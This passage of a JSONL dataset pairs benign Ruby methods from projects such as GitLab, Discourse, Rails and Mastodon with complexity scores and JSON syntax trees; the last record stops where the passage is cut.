{"repo_name":"openproject","file_path":"./repos/openproject/app/components/work_packages/activities_tab/shared_helpers.rb","start_line":40,"raw_source":"def truncated_user_name(user, hover_card: false)\n        helpers.primer_link_to_user(user, scheme: :primary, font_weight: :bold, hover_card:)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"truncated_user_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"hover_card\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"primer_link_to_user\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"sym\",\"children\":[\"primary\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"font_weight\"]},{\"type\":\"sym\",\"children\":[\"bold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hover_card\"]},{\"type\":\"lvar\",\"children\":[\"hover_card\"]}]}]}]}]}","id":"7ded31ed-f077-400a-b5c2-c8b4e9b918c2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/mailers/admin_mailer.rb","start_line":58,"raw_source":"def new_critical_software_updates\n    @software_updates = SoftwareUpdate.urgent.by_version\n\n    locale_for_account(@me) do\n      mail subject: default_i18n_subject(instance: @instance)\n    end\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"new_critical_software_updates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@software_updates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SoftwareUpdate\"]},\"urgent\"]},\"by_version\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"locale_for_account\",{\"type\":\"ivar\",\"children\":[\"@me\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"default_i18n_subject\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance\"]},{\"type\":\"ivar\",\"children\":[\"@instance\"]}]}]}]}]}]}]}]}]}]}","id":"c931d3d4-a859-4aa7-9f54-1cbb77dce822"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/creates_commit.rb","start_line":96,"raw_source":"def generated_branch_name(project)\n    return unless project\n\n    project.repository.next_branch('patch')\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generated_branch_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"repository\"]},\"next_branch\",{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]}","id":"68c962ae-a872-4745-aaa4-eb66c41a0c46"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/pajamas/spinner_component.rb","start_line":28,"raw_source":"def html_options\n      options = format_options(options: @html_options, css_classes: \"gl-spinner-container\")\n      options[:role] = \"status\"\n      options\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"html_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"format_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"ivar\",\"children\":[\"@html_options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_classes\"]},{\"type\":\"str\",\"children\":[\"gl-spinner-container\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"status\"]}]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}","id":"451545e2-b515-4570-a93c-c1e448275abe"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":95,"raw_source":"def test_checkbox_tag_default_checked\n    actual = checkbox_tag \"admin\", \"1\", true\n    expected = %(<input id=\"admin\" checked=\"checked\" name=\"admin\" type=\"checkbox\" value=\"1\" />)\n    assert_dom_equal expected, actual\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_checkbox_tag_default_checked\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"checkbox_tag\",{\"type\":\"str\",\"children\":[\"admin\"]},{\"type\":\"str\",\"children\":[\"1\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"admin\\\" checked=\\\"checked\\\" name=\\\"admin\\\" type=\\\"checkbox\\\" value=\\\"1\\\" />\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"28cbad4e-d6e5-484f-855b-6262a53e39fc"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/module.rb","start_line":25,"raw_source":"def self.cert_type_sym(type)\n    # To determine certificate types to fetch from the portal, we use `Sigh.certificate_types_for_profile_and_platform`, and it returns typed `Spaceship::ConnectAPI::Certificate::CertificateType` with the same values but uppercased, so we downcase them here\n    type = type.to_s.downcase\n    return :mac_installer_distribution if type == \"mac_installer_distribution\"\n    return :developer_id_installer if type == \"developer_id_installer\"\n    return :developer_id_application if type == \"developer_id\"\n    return :enterprise if type == \"enterprise\"\n    return :development if type == \"development\"\n    return :distribution if [\"adhoc\", \"appstore\", \"distribution\"].include?(type)\n    raise \"Unknown cert type: '#{type}'\"\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"cert_type_sym\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_s\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"mac_installer_distribution\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"mac_installer_distribution\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"developer_id_installer\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer_id_installer\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"developer_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"developer_id_application\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"enterprise\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"enterprise\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"development\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"development\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"adhoc\"]},{\"type\":\"str\",\"children\":[\"appstore\"]},{\"type\":\"str\",\"children\":[\"distribution\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"distribution\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown cert type: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}","id":"bb0087a1-2df2-486a-bad3-84d5acbe3d42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/wiki_page/meta.rb","start_line":205,"raw_source":"def project_or_namespace_present?\n      return unless (project_id.nil? && namespace_id.nil?) || (project_id.present? && namespace_id.present?)\n\n      errors.add(:base, s_('Wiki|WikiPage::Meta should belong to either project or namespace.'))\n    end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_or_namespace_present?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_id\"]},\"nil?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_id\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace_id\"]},\"present?\"]}]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Wiki|WikiPage::Meta should belong to either project or namespace.\"]}]}]}]}]}","id":"02ba6aa9-aaed-49cb-b65a-abc3e0c5194c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":1070,"raw_source":"def stop!\n      raise \"Can't stop an embedded process\" if embedded?\n\n      signal(\"TERM\")\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"stop!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"embedded?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Can't stop an embedded process\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"signal\",{\"type\":\"str\",\"children\":[\"TERM\"]}]}]}]}","id":"43bb0ba4-804b-4d47-9d65-f1df6331dfb0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callback_inheritance_test.rb","start_line":136,"raw_source":"def setup\n    @index    = Parent.new(\"index\").dispatch\n    @update   = Parent.new(\"update\").dispatch\n    @delete   = Parent.new(\"delete\").dispatch\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parent\"]},\"new\",{\"type\":\"str\",\"children\":[\"index\"]}]},\"dispatch\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@update\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parent\"]},\"new\",{\"type\":\"str\",\"children\":[\"update\"]}]},\"dispatch\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parent\"]},\"new\",{\"type\":\"str\",\"children\":[\"delete\"]}]},\"dispatch\"]}]}]}]}","id":"5211a409-de51-4cee-8cf4-00b89cfa35ac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240519102652_remove_registry_migration_fields_from_application_settings.rb","start_line":7,"raw_source":"def up\n    with_lock_retries do\n      remove_column(:application_settings, :container_registry_import_max_tags_count)\n      remove_column(:application_settings, :container_registry_import_max_retries)\n      remove_column(:application_settings, :container_registry_import_start_max_retries)\n      remove_column(:application_settings, :container_registry_import_max_step_duration)\n      remove_column(:application_settings, :container_registry_pre_import_tags_rate)\n      remove_column(:application_settings, :container_registry_pre_import_timeout)\n      remove_column(:application_settings, :container_registry_import_timeout)\n      remove_column(:application_settings, :container_registry_import_target_plan)\n      remove_column(:application_settings, :container_registry_import_created_before)\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_import_max_tags_count\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_import_max_retries\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_import_start_max_retries\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_import_max_step_duration\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_pre_import_tags_rate\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_pre_import_timeout\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_import_timeout\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_import_target_plan\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"application_settings\"]},{\"type\":\"sym\",\"children\":[\"container_registry_import_created_before\"]}]}]}]}]}","id":"ec4a1fbd-4041-4ec8-9fcd-f249e91c0cdf"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_buffer.rb","start_line":50,"raw_source":"def create_metadata(timekey=nil, tag=nil, variables=nil)\n      Fluent::Plugin::Buffer::Metadata.new(timekey, tag, variables)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"timekey\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"tag\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"variables\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Plugin\"]},\"Buffer\"]},\"Metadata\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"timekey\"]},{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"variables\"]}]}]}","id":"6abd7f64-6b87-401c-992f-0ec95a3edcdb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/about_controller.rb","start_line":19,"raw_source":"def live_post_counts\n    unless current_user.staff?\n      RateLimiter.new(current_user, \"live_post_counts\", 1, 10.minutes).performed!\n    end\n    category_topic_ids = Category.select(:topic_id).where.not(topic_id: nil)\n    public_topics =\n      Topic.listable_topics.visible.secured(Guardian.new(nil)).where.not(id: category_topic_ids)\n    stats = { public_topic_count: public_topics.count }\n    stats[:public_post_count] = public_topics.sum(:posts_count) - stats[:public_topic_count]\n    render json: stats\n  end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"live_post_counts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"staff?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimiter\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"str\",\"children\":[\"live_post_counts\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"minutes\"]}]},\"performed!\"]}]},{\"type\":\"lvasgn\",\"children\":[\"category_topic_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Category\"]},\"select\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"public_topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"listable_topics\"]},\"visible\"]},\"secured\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"nil\",\"children\":[]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"category_topic_ids\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stats\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"public_topic_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_topics\"]},\"count\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"public_post_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"public_topics\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"posts_count\"]}]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"public_topic_count\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"lvar\",\"children\":[\"stats\"]}]}]}]}]}]}","id":"971126c0-edbb-40ad-96db-c40cf517b045"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/lib/holidays/load_all_definitions.rb","start_line":5,"raw_source":"def call\n        # FIXME: I need a better way to do this. I'm thinking of putting these 'common' methods\n        # into some kind of definition file so it can be loaded automatically but I'm afraid\n        # of making that big of a breaking API change since these are public. For the time\n        # being I'll load them manually like this.\n        #\n        # NOTE: These are no longer public! We can do whatever we want here!\n        global_methods = {\n          \"easter(year)\" => gregorian_easter.method(:calculate_easter_for).to_proc,\n          \"orthodox_easter(year)\" => gregorian_easter.method(:calculate_orthodox_easter_for).to_proc,\n          \"orthodox_easter_julian(year)\" => julian_easter.method(:calculate_orthodox_easter_for).to_proc,\n          \"to_monday_if_sunday(date)\" => weekend_modifier.method(:to_monday_if_sunday).to_proc,\n          \"to_monday_if_weekend(date)\" => weekend_modifier.method(:to_monday_if_weekend).to_proc,\n          \"to_weekday_if_boxing_weekend(date)\" => weekend_modifier.method(:to_weekday_if_boxing_weekend).to_proc,\n          \"to_weekday_if_boxing_weekend_from_year(year)\" => weekend_modifier.method(:to_weekday_if_boxing_weekend_from_year).to_proc,\n          \"to_weekday_if_weekend(date)\" => weekend_modifier.method(:to_weekday_if_weekend).to_proc,\n          \"calculate_day_of_month(year, month, day, wday)\" => day_of_month_calculator.method(:call).to_proc,\n          \"to_weekday_if_boxing_weekend_from_year_or_to_tuesday_if_monday(year)\" => weekend_modifier.method(:to_weekday_if_boxing_weekend_from_year_or_to_tuesday_if_monday).to_proc,\n          \"to_tuesday_if_sunday_or_monday_if_saturday(date)\" => weekend_modifier.method(:to_tuesday_if_sunday_or_monday_if_saturday).to_proc,\n          \"lunar_to_solar(year, month, day, region)\" => lunar_date.method(:to_solar).to_proc,\n        }\n\n        Factory::Definition.custom_methods_repository.add(global_methods)\n\n        static_regions_definition = \"#{Holidays::DEFINITIONS_PATH}/REGIONS.rb\"\n        require static_regions_definition\n      end","complexity_score":48.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"global_methods\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"easter(year)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gregorian_easter\"]},\"method\",{\"type\":\"sym\",\"children\":[\"calculate_easter_for\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"orthodox_easter(year)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gregorian_easter\"]},\"method\",{\"type\":\"sym\",\"children\":[\"calculate_orthodox_easter_for\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"orthodox_easter_julian(year)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"julian_easter\"]},\"method\",{\"type\":\"sym\",\"children\":[\"calculate_orthodox_easter_for\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"to_monday_if_sunday(date)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"weekend_modifier\"]},\"method\",{\"type\":\"sym\",\"children\":[\"to_monday_if_sunday\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"to_monday_if_weekend(date)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"weekend_modifier\"]},\"method\",{\"type\":\"sym\",\"children\":[\"to_monday_if_weekend\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"to_weekday_if_boxing_weekend(date)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"weekend_modifier\"]},\"method\",{\"type\":\"sym\",\"children\":[\"to_weekday_if_boxing_weekend\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"to_weekday_if_boxing_weekend_from_year(year)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"weekend_modifier\"]},\"method\",{\"type\":\"sym\",\"children\":[\"to_weekday_if_boxing_weekend_from_year\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"to_weekday_if_weekend(date)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"weekend_modifier\"]},\"method\",{\"type\":\"sym\",\"children\":[\"to_weekday_if_weekend\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"calculate_day_of_month(year, month, day, wday)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"day_of_month_calculator\"]},\"method\",{\"type\":\"sym\",\"children\":[\"call\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"to_weekday_if_boxing_weekend_from_year_or_to_tuesday_if_monday(year)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"weekend_modifier\"]},\"method\",{\"type\":\"sym\",\"children\":[\"to_weekday_if_boxing_weekend_from_year_or_to_tuesday_if_monday\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"to_tuesday_if_sunday_or_monday_if_saturday(date)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"weekend_modifier\"]},\"method\",{\"type\":\"sym\",\"children\":[\"to_tuesday_if_sunday_or_monday_if_saturday\"]}]},\"to_proc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"lunar_to_solar(year, month, day, region)\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lunar_date\"]},\"method\",{\"type\":\"sym\",\"children\":[\"to_solar\"]}]},\"to_proc\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Factory\"]},\"Definition\"]},\"custom_methods_repository\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"global_methods\"]}]},{\"type\":\"lvasgn\",\"children\":[\"static_regions_definition\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"DEFINITIONS_PATH\"]}]},{\"type\":\"str\",\"children\":[\"/REGIONS.rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"lvar\",\"children\":[\"static_regions_definition\"]}]}]}]}","id":"959713aa-291b-4d31-8e86-72b6534634cd"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/application_helper.rb","start_line":19,"raw_source":"def discourse_config_environment(testing: false)\n    # TODO: Can this come from Ember CLI somehow?\n    config = {\n      modulePrefix: \"discourse\",\n      environment: Rails.env,\n      rootURL: Discourse.base_path,\n      locationType: \"history\",\n      EmberENV: {\n        FEATURES: {\n        },\n        EXTEND_PROTOTYPES: false,\n      },\n      APP: {\n        name: \"discourse\",\n        version: \"#{Discourse::VERSION::STRING} #{Discourse.git_version}\",\n        # LOG_RESOLVER: true,\n        # LOG_ACTIVE_GENERATION: true,\n        # LOG_TRANSITIONS: true,\n        # LOG_TRANSITIONS_INTERNAL: true,\n        # LOG_VIEW_LOOKUPS: true,\n      },\n    }\n\n    if testing\n      config[:environment] = \"test\"\n      config[:locationType] = \"none\"\n      config[:APP][:LOG_ACTIVE_GENERATION] = false\n      config[:APP][:LOG_VIEW_LOOKUPS] = false\n      config[:APP][:rootElement] = \"#ember-testing\"\n      config[:APP][:autoboot] = false\n    end\n\n    config.to_json\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"discourse_config_environment\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"testing\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"modulePrefix\"]},{\"type\":\"str\",\"children\":[\"discourse\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rootURL\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locationType\"]},{\"type\":\"str